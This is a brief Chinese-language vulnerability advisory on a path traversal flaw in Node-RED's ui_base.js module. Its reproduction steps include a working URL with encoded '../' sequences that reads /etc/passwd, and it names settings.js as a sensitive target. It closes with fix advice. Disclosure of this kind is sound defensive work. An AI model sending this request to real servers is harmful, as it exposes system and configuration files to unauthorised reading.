漏洞描述:
Node-RED 在/nodes/ui_base.js中,URL与’/ui_base/js/*'匹配,然后传递给path.join,
缺乏对最终路径的验证会导致路径遍历漏洞,可以利用这个漏洞读取服务器上的敏感数据,比如settings.js
复现过程:
1.访问ip:port
2.访问
http://ip:port/ui_base/js/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
获取password文件
修复建议:
- 升级版本。
- 对访问的url进行过滤和验证。